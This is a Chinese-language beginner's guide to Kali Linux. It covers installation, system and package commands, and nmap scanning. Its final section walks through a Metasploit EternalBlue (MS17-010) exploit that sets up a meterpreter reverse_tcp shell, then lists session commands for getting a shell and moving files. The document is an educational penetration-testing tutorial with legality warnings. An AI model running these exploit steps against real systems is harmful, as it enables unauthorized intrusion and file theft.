渗透测试与安全研究的专业Linux发行版
Kali Linux 是一个基于 Debian 的 Linux 发行版,专为数字取证和渗透测试设计。它由 Offensive Security 公司维护和资助,预装了数百种安全工具。
注意: Kali Linux 是一个强大的工具,仅应在合法授权的安全测试中使用。未经授权使用这些工具可能是非法的。
# 使用 dd 命令 (Linux/Mac)
dd if=kali-linux-2023.4-installer-amd64.iso of=/dev/sdb bs=4M status=progress
# Windows 用户可以使用 Rufus 工具
uname -a # 显示系统信息
lsb_release -a # 显示发行版信息
cat /etc/os-release # 显示 OS 信息
df -h # 显示磁盘空间
free -h # 显示内存使用情况
sudo apt update # 更新包列表
sudo apt upgrade # 升级所有已安装的包
sudo apt install <package> # 安装新包
sudo apt remove <package> # 移除包
sudo apt autoremove # 移除不再需要的依赖
# 基本扫描
nmap -sV 192.168.1.1
# 全面扫描 (包括 OS 检测, 脚本扫描, traceroute)
nmap -A 192.168.1.1
# 扫描特定端口
nmap -p 80,443,22 192.168.1.1
# 扫描整个子网
nmap 192.168.1.0/24
# 使用 NSE 脚本扫描漏洞
nmap --script vuln 192.168.1.1
# 启动 Metasploit 控制台
msfconsole
# 搜索漏洞利用模块
search eternalblue
# 使用模块
use exploit/windows/smb/ms17_010_eternalblue
# 设置目标
set RHOSTS 192.168.1.100
# 设置 payload
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
# 执行攻击
exploit
# 在 meterpreter 会话中的常用命令
sysinfo # 获取系统信息
shell # 获取系统 shell
download <file> # 下载文件
upload <file> # 上传文件
警告: 这些命令仅用于合法的渗透测试,在未经授权的情况下使用这些技术是违法的。